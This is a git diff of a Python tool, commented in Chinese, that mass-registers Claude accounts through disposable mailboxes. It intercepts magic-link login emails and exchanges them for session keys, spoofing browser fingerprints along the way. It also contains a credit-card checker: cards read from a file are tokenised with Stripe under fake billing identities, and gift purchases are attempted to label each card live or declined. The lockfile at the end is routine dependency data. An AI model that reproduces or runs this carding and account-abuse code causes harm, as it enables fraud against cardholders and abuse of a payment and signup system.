+++ b/mail_service.py
@@ -0,0 +1,173 @@
+import time
+import re
+import random
+import threading
+import requests as standard_requests # 用于普通API交互
+
+
+class MailSystem:
+ """单个邮箱系统实例,支持多域名"""
+
+ def __init__(self, base_url, admin_email, admin_password, domains):
+ self.base_url = base_url
+ self.domains = domains # 该系统支持的域名列表
+ self.token = self._get_token(admin_email, admin_password)
+ self.headers = {"Authorization": self.token}
+
+ def _get_token(self, email, password):
+ """获取身份令牌,这是我们的通行证"""
+ url = f"{self.base_url}/api/public/genToken"
+ payload = {"email": email, "password": password}
+ try:
+ resp = standard_requests.post(url, json=payload)
+ data = resp.json()
+ if data['code'] == 200:
+ print(f"[+] 令牌获取成功 ({self.base_url}): {data['data']['token'][:10]}...")
+ return data['data']['token']
+ else:
+ raise Exception(f"获取Token失败: {data}")
+ except Exception as e:
+ print(f"[-] 连接邮件系统失败 ({self.base_url}): {e}")
+ return None
+
+ def create_user(self, email_prefix, domain=None):
+ """在系统里注册一个新邮箱用户"""
+ if domain is None:
+ domain = random.choice(self.domains)
+ full_email = f"{email_prefix}@{domain}"
+ url = f"{self.base_url}/api/public/addUser"
+ payload = {
+ "list": [
+ {
+ "email": full_email,
+ "password": "random_pass_ignoring_this"
+ }
+ ]
+ }
+ resp = standard_requests.post(url, json=payload, headers=self.headers)
+ if resp.json().get('code') == 200:
+ print(f"[+] 邮箱用户创建成功: {full_email}")
+ return full_email
+ else:
+ print(f"[-] 创建邮箱失败: {resp.text}")
+ return None
+
+ def wait_for_email(self, to_email, retry_count=20, sleep_time=3):
+ """像猎人一样耐心等待猎物出现"""
+ url = f"{self.base_url}/api/public/emailList"
+ payload = {
+ "toEmail": to_email,
+ "sendName": "Anthropic",
+ "num": 1,
+ "size": 10,
+ "timeSort": "desc"
+ }
+
+ print(f"[*] 开始轮询邮件,目标: {to_email}...")
+
+ for i in range(retry_count):
+ try:
+ resp = standard_requests.post(url, json=payload, headers=self.headers)
+ data = resp.json()
+
+ if data.get('code') == 200 and data.get('data'):
+ emails = data['data']
+ for email in emails:
+ print(f"[!] 捕获到邮件! 主题: {email.get('subject')}")
+ return email.get('content') or email.get('text')
+
+ print(f"[*] 轮询中 ({i+1}/{retry_count})...")
+ time.sleep(sleep_time)
+ except Exception as e:
+ print(f"[-] 轮询出错: {e}")
+ time.sleep(sleep_time)
+
+ print("[-] 等待超时,未收到邮件。")
+ return None
+
+ def __repr__(self):
+ return f"MailSystem({self.base_url}, domains={self.domains})"
+
+
+class MailPool:
+ """多邮箱系统轮询调度器"""
+
+ def __init__(self, mail_configs: list[dict]):
+ """
+ mail_configs: config.MAIL_SYSTEMS 格式的列表
+ """
+ self.systems: list[MailSystem] = []
+ self._index = 0
+ self._lock = threading.Lock()
+
+ for cfg in mail_configs:
+ ms = MailSystem(
+ base_url=cfg["base_url"],
+ admin_email=cfg["admin_email"],
+ admin_password=cfg["admin_pass"],
+ domains=cfg["domains"],
+ )
+ if ms.token: # 只添加连接成功的系统
+ self.systems.append(ms)
+ else:
+ print(f"[!] 跳过连接失败的邮箱系统: {cfg['base_url']}")
+
+ if not self.systems:
+ print("[-] 没有可用的邮箱系统!")
+
+ print(f"[+] MailPool 初始化完成,可用系统: {len(self.systems)} 个")
+
+ def next(self) -> MailSystem | None:
+ """Round-robin 返回下一个系统"""
+ if not self.systems:
+ return None
+ with self._lock:
+ ms = self.systems[self._index % len(self.systems)]
+ self._index += 1
+ return ms
+
+ def create_user(self, email_prefix) -> tuple[str | None, MailSystem | None]:
+ """
+ 使用下一个系统创建用户。
+ 返回 (email, 对应的 MailSystem) 或 (None, None)。
+ """
+ ms = self.next()
+ if not ms:
+ print("[-] 没有可用的邮箱系统")
+ return None, None
+ email = ms.create_user(email_prefix)
+ return email, ms
+
+ def get_system_by_domain(self, email: str) -> MailSystem | None:
+ """根据邮箱域名找到对应的 MailSystem"""
+ domain = email.split("@")[-1] if "@" in email else ""
+ for ms in self.systems:
+ if domain in ms.domains:
+ return ms
+ return None
+
+ @property
+ def count(self) -> int:
+ return len(self.systems)
+
+ def info(self) -> str:
+ """返回所有系统的信息摘要"""
+ lines = [f"📬 邮箱系统池(共 {self.count} 个):"]
+ for i, ms in enumerate(self.systems, 1):
+ domains = ", ".join(ms.domains)
+ lines.append(f" {i}. {ms.base_url} → [{domains}]")
+ return "\n".join(lines)
+
+
+def extract_magic_link(html_content):
+ """HTML提取出链接"""
+ if not html_content:
+ return None
+
+ pattern = r'href="(https://claude\.ai/[^"]+)"'
+ match = re.search(pattern, html_content)
+
+ if match:
+ url = match.group(1)
+ return url.replace("&", "&")
+ return None
diff --git a/main.py b/main.py
index 04c5edf..3f967b3 100644
--- a/main.py
+++ b/main.py
@@ -1,492 +1,57 @@
import time
-import uuid
import random
import string
-import re
-import json
-import base64
-import requests as standard_requests # 用于普通API交互
-from curl_cffi import requests # 用于模拟指纹
-from urllib.parse import urlparse, parse_qs
-# --- 配置区域 (Configuration) ---
-# cloudmail邮件系统配置
-MAIL_API_BASE = "https://xxxxx.com/" # 替换为你的邮件API域名
-ADMIN_EMAIL = "admin@xxxxx.com" # 替换你的管理员邮箱
-ADMIN_PASS = "xxxxx" # 替换你的管理员密码
-MAIL_DOMAIN = "xxxxx.com" # 你的临时邮箱域名
-
-# Claude 配置
-CLAUDE_URL = "https://claude.ai/api/auth/send_magic_link"
-#
-UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
-
-# Stripe Public Key
-STRIPE_PK = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD"
-# Gift Product ID
-PRODUCT_ID = "prod_TXU4hGh2EDxASl"
-
-
-class ClaudeAccount:
- def __init__(self, email, session_key, org_uuid, user_agent):
- self.email = email
- self.session_key = session_key
- self.org_uuid = org_uuid
- self.user_agent = user_agent
- self.device_id = str(uuid.uuid4())
-
-class MailSystem:
- def __init__(self, base_url, admin_email, admin_password):
- self.base_url = base_url
- self.token = self._get_token(admin_email, admin_password)
- self.headers = {"Authorization": self.token}
-
- def _get_token(self, email, password):
- """获取身份令牌,这是我们的通行证"""
- url = f"{self.base_url}/api/public/genToken"
- payload = {"email": email, "password": password}
- try:
- resp = standard_requests.post(url, json=payload)
- data = resp.json()
- if data['code'] == 200:
- print(f"[+] 令牌获取成功: {data['data']['token'][:10]}...")
- return data['data']['token']
- else:
- raise Exception(f"获取Token失败: {data}")
- except Exception as e:
- print(f"[-] 连接邮件系统失败: {e}")
- exit(1)
-
- def create_user(self, email_prefix):
- """在你的系统里注册一个新灵魂"""
- full_email = f"{email_prefix}@{MAIL_DOMAIN}"
- url = f"{self.base_url}/api/public/addUser"
- # 接口要求 list 结构
- payload = {
- "list": [
- {
- "email": full_email,
- "password": "random_pass_ignoring_this"
- }
- ]
- }
- resp = standard_requests.post(url, json=payload, headers=self.headers)
- if resp.json().get('code') == 200:
- print(f"[+] 邮箱用户创建成功: {full_email}")
- return full_email
- else:
- print(f"[-] 创建邮箱失败: {resp.text}")
- return None
-
- def wait_for_email(self, to_email, retry_count=20, sleep_time=3):
- """像猎人一样耐心等待猎物出现"""
- url = f"{self.base_url}/api/public/emailList"
- payload = {
- "toEmail": to_email,
- "sendName": "Anthropic", # 发件人是 Anthropic 不是 Claude
- "num": 1,
- "size": 10,
- "timeSort": "desc"
- }
-
- print(f"[*] 开始轮询邮件,目标: {to_email}...")
-
- for i in range(retry_count):
- try:
- resp = standard_requests.post(url, json=payload, headers=self.headers)
- data = resp.json()
-
- if data.get('code') == 200 and data.get('data'):
- emails = data['data']
- # 检查是否有来自 Claude 的邮件
- for email in emails:
- # 这里可以加更严格的判断,比如 subject 包含 "sign in"
- print(f"[!] 捕获到邮件! 主题: {email.get('subject')}")
- return email.get('content') or email.get('text')
-
- print(f"[*] 轮询中 ({i+1}/{retry_count})...")
- time.sleep(sleep_time)
- except Exception as e:
- print(f"[-] 轮询出错: {e}")
- time.sleep(sleep_time)
-
- print("[-] 等待超时,未收到邮件。")
- return None
-
-def extract_magic_link(html_content):
- """HTML提取出链接"""
- if not html_content:
- return None
-
- pattern = r'href="(https://claude\.ai/[^"]+)"'
- match = re.search(pattern, html_content)
-
- if match:
- url = match.group(1)
- return url.replace("&", "&")
- return None
-
-
-class StripeTokenizer:
- def __init__(self, user_agent):
- self.user_agent = user_agent
- self.guid = f"{uuid.uuid4()}0a75cf"
- self.muid = f"{uuid.uuid4()}1d4c1f"
- self.sid = f"{uuid.uuid4()}eb67c4"
- self.client_session_id = str(uuid.uuid4())
- self.elements_session_config_id = str(uuid.uuid4())
-
- def get_token(self, cc_num, exp_m, exp_y, cvc):
- """与 Stripe 交互获取 pm_id"""
- url = "https://api.stripe.com/v1/payment_methods"
-
- headers = {
- "Host": "api.stripe.com",
- "Content-Type": "application/x-www-form-urlencoded",
- "Sec-Ch-Ua-Platform": '"Linux"',
- "User-Agent": self.user_agent,
- "Accept": "application/json",
- "Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
- "Sec-Ch-Ua-Mobile": "?0",
- "Origin": "https://js.stripe.com",
- "Sec-Fetch-Site": "same-site",
- "Sec-Fetch-Mode": "cors",
- "Sec-Fetch-Dest": "empty",
- "Referer": "https://js.stripe.com/",
- "Accept-Encoding": "gzip, deflate, br",
- "Accept-Language": "zh-CN,zh;q=0.9",
- "Priority": "u=1, i"
- }
-
- # 构造完整的 form-data
- time_on_page = random.randint(30000, 500000)
-
- data = {
- "type": "card",
- "card[number]": cc_num,
- "card[cvc]": cvc,
- "card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y,
- "card[exp_month]": exp_m,
- "allow_redisplay": "unspecified",
- "billing_details[address][postal_code]": "91505",
- "billing_details[address][country]": "US",
- "billing_details[address][line1]": "3891 Libby Street",
- "billing_details[address][city]": "Burbank",
- "billing_details[address][state]": "CA",
- "billing_details[name]": "Test User",
- "billing_details[phone]": "",
- "payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm",
- "referrer": "https://claude.ai",
- "time_on_page": str(time_on_page),
- "client_attribution_metadata[client_session_id]": self.client_session_id,
- "client_attribution_metadata[merchant_integration_source]": "elements",
- "client_attribution_metadata[merchant_integration_subtype]": "payment-element",
- "client_attribution_metadata[merchant_integration_version]": "2021",
- "client_attribution_metadata[payment_intent_creation_flow]": "deferred",
- "client_attribution_metadata[payment_method_selection_flow]": "automatic",
- "client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id,
- "client_attribution_metadata[merchant_integration_additional_elements][0]": "payment",
- "client_attribution_metadata[merchant_integration_additional_elements][1]": "address",
- "guid": self.guid,
- "muid": self.muid,
- "sid": self.sid,
- "key": STRIPE_PK,
- "_stripe_version": "2025-03-31.basil"
- }
-
- try:
- print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}")
- resp = requests.post(url, data=data, headers=headers, impersonate="chrome124")
-
- if resp.status_code == 200:
- pm_id = resp.json().get("id")
- print(f"[+] Stripe Token 获取成功: {pm_id}")
- return pm_id
- else:
- print(f"[-] Stripe 拒绝: {resp.text}")
- return None
- except Exception as e:
- print(f"[-] Stripe 连接错误: {e}")
- return None
-
-
-class GiftChecker:
- def __init__(self, account: ClaudeAccount):
- self.account = account
-
- def purchase(self, pm_id):
- """尝试购买 Gift"""
- url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase"
-
- headers = {
- "Host": "claude.ai",
- "User-Agent": self.account.user_agent,
- "Content-Type": "application/json",
- "Accept": "*/*",
- "Anthropic-Client-Version": "1.0.0",
- "Anthropic-Client-Platform": "web_claude_ai",
- "Anthropic-Device-Id": self.account.device_id,
- "Origin": "https://claude.ai",
- "Referer": "https://claude.ai/gift",
- "Cookie": f"sessionKey={self.account.session_key}"
- }
-
- payload = {
- "product_id": PRODUCT_ID,
- "currency": "USD",
- "payment_method_id": pm_id,
- "to_email": self.account.email,
- "to_name": "",
- "from_name": "Checker",
- "from_email": self.account.email,
- "gift_message": "",
- "card_color": "clay",
- "billing_address": {
- "line1": "3891 Libby Street",
- "city": "Burbank",
- "state": "CA",
- "postal_code": "91505",
- "country": "US"
- },
- "scheduled_delivery_at": None
- }
-
- try:
- print(f"[*] 正在尝试扣款 (Gift Purchase)...")
- resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124")
-
- resp_json = {}
- try:
- resp_json = resp.json()
- except:
- pass
-
- if resp.status_code == 200:
- print("[$$$] 成功! CHARGED! 该卡有效 (Live)!")
- return "LIVE"
- elif resp.status_code == 402:
- err_msg = resp_json.get("error", {}).get("message", "Unknown error")
- print(f"[-] 支付失败 (402): {err_msg}")
-
- if "declined" in err_msg.lower():
- return "DECLINED"
- elif "insufficient" in err_msg.lower():
- return "INSUFFICIENT_FUNDS"
- elif "security code" in err_msg.lower() or "cvc" in err_msg.lower():
- print("[!] CCN LIVE (CVC 错误,说明卡号有效)")
- return "CCN_LIVE"
- else:
- return "DEAD"
- else:
- print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}")
- return "ERROR"
-
- except Exception as e:
- print(f"[-] 购买请求异常: {e}")
- return "ERROR"
-
-
-def attack_claude(target_email):
- """伪装成浏览器发起攻击"""
- device_id = str(uuid.uuid4())
-
- headers = {
- "Host": "claude.ai",
- "Anthropic-Anonymous-Id": f"claudeai.v1.{uuid.uuid4()}",
- "Sec-Ch-Ua-Full-Version-List": '"Google Chrome";v="143.0.7499.105", "Chromium";v="143.0.7499.105", "Not A(Brand";v="24.0.0.0"',
- "Sec-Ch-Ua-Platform": '"Linux"',
- "Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
- "Baggage": "sentry-environment=production,sentry-release=ce5600af514463a166f4cd356a6afbc46ee5cd3d,sentry-public_key=58e9b9d0fc244061a1b54fe288b0e483,sentry-trace_id=7bdc872994f347d6b5a610a520f40401,sentry-org_id=1158394",
- "Anthropic-Client-Sha": "ce5600af514463a166f4cd356a6afbc46ee5cd3d",
- "Content-Type": "application/json",
- "Anthropic-Client-Platform": "web_claude_ai",
- "Anthropic-Device-Id": device_id,
- "Anthropic-Client-Version": "1.0.0",
- "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
- "Origin": "https://claude.ai",
- "Referer": "https://claude.ai/login?returnTo=%2Fonboarding",
- "Accept-Encoding": "gzip, deflate, br",
- "Accept-Language": "zh-CN,zh;q=0.9",
- "Priority": "u=1, i"
- }
-
- payload = {
- "utc_offset": -480,
- "email_address": target_email,
- "login_intent": None,
- "locale": "en-US",
- "oauth_client_id": None,
- "source": "claude"
- }
-
- try:
- print(f"[*] 正在向 Claude 发送 Magic Link 请求: {target_email}")
- session = requests.Session()
- response = session.post(
- CLAUDE_URL,
- json=payload,
- headers=headers,
- impersonate="chrome124"
- )
-
- if response.status_code == 200:
- print("[+] 请求成功,Claude 已发信。")
- return True
- elif response.status_code == 429:
- print("[-] 被限流了 (Rate Limited)。")
- else:
- print(f"[-] 请求失败 Code: {response.status_code}, Body: {response.text}")
-
- except Exception as e:
- print(f"[-] 发生异常: {e}")
-
- return False
-
-def finalize_login(magic_link_fragment):
- """
- 完成最后一步:无需浏览器,直接交换 sessionKey。
- magic_link_fragment 格式: https://claude.ai/magic-link#token:base64_email
- 返回 ClaudeAccount 对象
- """
-
- # 1. 外科手术式拆解 Hash
- if '#' in magic_link_fragment:
- fragment = magic_link_fragment.split('#')[1]
- else:
- fragment = magic_link_fragment
-
- if ':' not in fragment:
- print("[-] 链接格式错误: 找不到 token 和 email 的分隔符")
- return None
-
- # 分割 nonce 和 base64_email
- nonce, encoded_email = fragment.split(':', 1)
-
- try:
- decoded_email = base64.b64decode(encoded_email).decode('utf-8')
- print(f"[*] 解析成功 -> Email: {decoded_email} | Nonce: {nonce[:8]}...")
- except:
- print(f"[*] 解析成功 -> Nonce: {nonce[:8]}...")
-
- # 2. 构造最终 payload
- verify_url = "https://claude.ai/api/auth/verify_magic_link"
-
- payload = {
- "credentials": {
- "method": "nonce",
- "nonce": nonce,
- "encoded_email_address": encoded_email
- },
- "locale": "en-US",
- "oauth_client_id": None,
- "source": "claude"
- }
-
- # 3. 伪造指纹头
- device_id = str(uuid.uuid4())
- headers = {
- "Host": "claude.ai",
- "Content-Type": "application/json",
- "Origin": "https://claude.ai",
- "Referer": "https://claude.ai/magic-link",
- "User-Agent": UA,
- "Accept": "*/*",
- "Accept-Language": "zh-CN,zh;q=0.9",
- "Anthropic-Client-Version": "1.0.0",
- "Anthropic-Client-Platform": "web_claude_ai",
- "Anthropic-Device-Id": device_id,
- "Sec-Fetch-Dest": "empty",
- "Sec-Fetch-Mode": "cors",
- "Sec-Fetch-Site": "same-origin",
- "Priority": "u=1, i"
- }
-
- try:
- print(f"[*] 正在交换 SessionKey...")
- session = requests.Session()
- response = session.post(
- verify_url,
- json=payload,
- headers=headers,
- impersonate="chrome124"
- )
-
- if response.status_code == 200:
- data = response.json()
- # 1. 提取 SessionKey
- session_key = response.cookies.get("sessionKey")
-
- if not session_key:
- for name, value in response.cookies.items():
- if name == "sessionKey":
- session_key = value
- break
-
- if not session_key:
- print("[-] 请求成功 (200),但未在 Cookie 中找到 sessionKey。")
- print(f"Response: {str(data)[:200]}...")
- return None
-
- # 2. 提取 Org UUID
- try:
- org_uuid = data['account']['memberships'][0]['organization']['uuid']
- email = data['account']['email_address']
- print(f"[+] 登录成功。OrgID: {org_uuid}")
- return ClaudeAccount(email, session_key, org_uuid, UA)
- except KeyError as e:
- print(f"[-] 无法提取 Organization UUID,结构可能变了: {e}")
- print(f"Response keys: {data.keys() if isinstance(data, dict) else type(data)}")
- return None
-
- else:
- print(f"[-] 交换失败 Code: {response.status_code}")
- print(f"Body: {response.text}")
- return None
-
- except Exception as e:
- print(f"[-] 发生异常: {e}")
- return None
+from config import MAIL_SYSTEMS
+from mail_service import MailPool, extract_magic_link
+from stripe_token import StripeTokenizer
+from gift_checker import GiftChecker
+from claude_auth import attack_claude, finalize_login
# --- 主流程 (The Ritual) ---
if __name__ == "__main__":
- # 1. 初始化邮件系统
- mail_sys = MailSystem(MAIL_API_BASE, ADMIN_EMAIL, ADMIN_PASS)
-
+ # 1. 初始化邮箱系统池
+ mail_pool = MailPool(MAIL_SYSTEMS)
+
+ if mail_pool.count == 0:
+ print("[-] 没有可用的邮箱系统,退出。")
+ exit(1)
+
+ print(mail_pool.info())
+
# 2. 生成随机邮箱并注册
- # 生成 10 位随机字符作为邮箱前缀
random_prefix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
- target_email = mail_sys.create_user(random_prefix)
-
- if target_email:
+ target_email, mail_sys = mail_pool.create_user(random_prefix)
+
+ if target_email and mail_sys:
# 3. 发送 Magic Link
if attack_claude(target_email):
-
- # 4. 等待并提取链接
+
+ # 4. 等待并提取链接(使用创建邮箱时对应的系统)
email_content = mail_sys.wait_for_email(target_email)
-
+
if email_content:
magic_link = extract_magic_link(email_content)
if magic_link:
print(f"[+] 捕获 Magic Link: {magic_link}")
-
+
# --- 终极步骤:登录获取 Account ---
account = finalize_login(magic_link)
-
+
if account:
print("\n" + "="*50)
print(f"[+] REGISTERED SUCCESSFUL")
print(f"Email: {account.email}")
print(f"SessionKey: {account.session_key}")
print(f"OrgUUID: {account.org_uuid}")
-
+
with open("accounts.txt", "a") as f:
f.write(f"{account.email}|{account.session_key}|{account.org_uuid}\n")
-
+
print("="*50 + "\n")
-
+
# --- CC Checker 流程 ---
- # 从 cards.txt 读取卡片列表 (格式: CARD|MM|YY|CVC)
cards = []
try:
with open("cards.txt", "r") as f:
@@ -497,25 +62,18 @@ if __name__ == "__main__":
print(f"[*] 从 cards.txt 读取到 {len(cards)} 张卡片")
except FileNotFoundError:
print("[*] 未找到 cards.txt,跳过 CC Checker")
-
+
if cards:
tokenizer = StripeTokenizer(account.user_agent)
checker = GiftChecker(account)
-
+
for card_line in cards:
cc, mm, yy, cvc = card_line.split("|")
-
- # 1. 获取 Stripe Token
pm_id = tokenizer.get_token(cc, mm, yy, cvc)
-
+
if pm_id:
- # 2. 尝试购买
result = checker.purchase(pm_id)
-
- # 3. 输出结果
print(f"Card: {cc[:4]}... -> {result}")
-
- # 不要跑太快,防止封 Session
time.sleep(2)
else:
print("[-] 获取 Account 失败。")
diff --git a/models.py b/models.py
new file mode 100644
index 0000000..6c6469f
--- /dev/null
+++ b/models.py
@@ -0,0 +1,10 @@
+import uuid
+
+
+class ClaudeAccount:
+ def __init__(self, email, session_key, org_uuid, user_agent):
+ self.email = email
+ self.session_key = session_key
+ self.org_uuid = org_uuid
+ self.user_agent = user_agent
+ self.device_id = str(uuid.uuid4())
diff --git a/pyproject.toml b/pyproject.toml
index 210b2f3..6375bd2 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -6,5 +6,6 @@ readme = "README.md"
requires-python = ">=3.12"
dependencies = [
"curl-cffi>=0.14.0",
+ "python-telegram-bot>=21.0",
"requests>=2.32.5",
]
diff --git a/stripe_token.py b/stripe_token.py
new file mode 100644
index 0000000..0efd472
--- /dev/null
+++ b/stripe_token.py
@@ -0,0 +1,91 @@
+import uuid
+import random
+from curl_cffi import requests # 用于模拟指纹
+
+from config import STRIPE_PK
+from identity import random_address, random_name
+
+
+class StripeTokenizer:
+ def __init__(self, user_agent):
+ self.user_agent = user_agent
+ self.guid = f"{uuid.uuid4()}0a75cf"
+ self.muid = f"{uuid.uuid4()}1d4c1f"
+ self.sid = f"{uuid.uuid4()}eb67c4"
+ self.client_session_id = str(uuid.uuid4())
+ self.elements_session_config_id = str(uuid.uuid4())
+
+ def get_token(self, cc_num, exp_m, exp_y, cvc):
+ """与 Stripe 交互获取 pm_id"""
+ url = "https://api.stripe.com/v1/payment_methods"
+
+ headers = {
+ "Host": "api.stripe.com",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Sec-Ch-Ua-Platform": '"Linux"',
+ "User-Agent": self.user_agent,
+ "Accept": "application/json",
+ "Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
+ "Sec-Ch-Ua-Mobile": "?0",
+ "Origin": "https://js.stripe.com",
+ "Sec-Fetch-Site": "same-site",
+ "Sec-Fetch-Mode": "cors",
+ "Sec-Fetch-Dest": "empty",
+ "Referer": "https://js.stripe.com/",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-CN,zh;q=0.9",
+ "Priority": "u=1, i"
+ }
+
+ # 构造完整的 form-data
+ time_on_page = random.randint(30000, 500000)
+ addr = random_address()
+ name = random_name()
+
+ data = {
+ "type": "card",
+ "card[number]": cc_num,
+ "card[cvc]": cvc,
+ "card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y,
+ "card[exp_month]": exp_m,
+ "allow_redisplay": "unspecified",
+ "billing_details[address][postal_code]": addr["postal_code"],
+ "billing_details[address][country]": addr["country"],
+ "billing_details[address][line1]": addr["line1"],
+ "billing_details[address][city]": addr["city"],
+ "billing_details[address][state]": addr["state"],
+ "billing_details[name]": name,
+ "billing_details[phone]": "",
+ "payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm",
+ "referrer": "https://claude.ai",
+ "time_on_page": str(time_on_page),
+ "client_attribution_metadata[client_session_id]": self.client_session_id,
+ "client_attribution_metadata[merchant_integration_source]": "elements",
+ "client_attribution_metadata[merchant_integration_subtype]": "payment-element",
+ "client_attribution_metadata[merchant_integration_version]": "2021",
+ "client_attribution_metadata[payment_intent_creation_flow]": "deferred",
+ "client_attribution_metadata[payment_method_selection_flow]": "automatic",
+ "client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id,
+ "client_attribution_metadata[merchant_integration_additional_elements][0]": "payment",
+ "client_attribution_metadata[merchant_integration_additional_elements][1]": "address",
+ "guid": self.guid,
+ "muid": self.muid,
+ "sid": self.sid,
+ "key": STRIPE_PK,
+ "_stripe_version": "2025-03-31.basil"
+ }
+
+ try:
+ print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}")
+ resp = requests.post(url, data=data, headers=headers, impersonate="chrome124")
+
+ if resp.status_code == 200:
+ pm_id = resp.json().get("id")
+ print(f"[+] Stripe Token 获取成功: {pm_id}")
+ return pm_id
+ else:
+ print(f"[-] Stripe 拒绝: {resp.text}")
+ return None
+ except Exception as e:
+ print(f"[-] Stripe 连接错误: {e}")
+ return None
diff --git a/uv.lock b/uv.lock
index 829c8e9..1b01890 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1,6 +1,23 @@
version = 1
revision = 3
requires-python = ">=3.12"
+resolution-markers = [
+ "python_full_version >= '3.14'",
+ "python_full_version < '3.14'",
+]
+
+[[package]]
+name = "anyio"
+version = "4.12.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "idna" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/96/f0/5eb65b2bb0d09ac6776f2eb54adee6abe8228ea05b20a5ad0e4945de8aac/anyio-4.12.1.tar.gz", hash = "sha256:41cfcc3a4c85d3f05c932da7c26d0201ac36f72abd4435ba90d0464a3ffed703", size = 228685, upload-time = "2026-01-06T11:45:21.246Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/38/0e/27be9fdef66e72d64c0cdc3cc2823101b80585f8119b5c112c2e8f5f7dab/anyio-4.12.1-py3-none-any.whl", hash = "sha256:d405828884fc140aa80a3c667b8beed277f1dfedec42ba031bd6ac3db606ab6c", size = 113592, upload-time = "2026-01-06T11:45:19.497Z" },
+]
[[package]]
name = "autoclaude"
@@ -8,12 +25,14 @@ version = "0.1.0"
source = { virtual = "." }
dependencies = [
{ name = "curl-cffi" },
+ { name = "python-telegram-bot" },
{ name = "requests" },
]
[package.metadata]
requires-dist = [
{ name = "curl-cffi", specifier = ">=0.14.0" },
+ { name = "python-telegram-bot", specifier = ">=21.0" },
{ name = "requests", specifier = ">=2.32.5" },
]
@@ -163,6 +182,43 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/5c/7c/d2ba86b0b3e1e2830bd94163d047de122c69a8df03c5c7c36326c456ad82/curl_cffi-0.14.0-cp39-abi3-win_arm64.whl", hash = "sha256:2eed50a969201605c863c4c31269dfc3e0da52916086ac54553cfa353022425c", size = 1425067, upload-time = "2025-12-16T03:25:06.454Z" },
]
+[[package]]
+name = "h11"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
+]
+
+[[package]]
+name = "httpcore"
+version = "1.0.9"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "certifi" },
+ { name = "h11" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
+]
+
+[[package]]
+name = "httpx"
+version = "0.28.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "anyio" },
+ { name = "certifi" },
+ { name = "httpcore" },
+ { name = "idna" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
+]
+
[[package]]
name = "idna"
version = "3.11"
@@ -181,6 +237,19 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
]
+[[package]]
+name = "python-telegram-bot"
+version = "22.6"
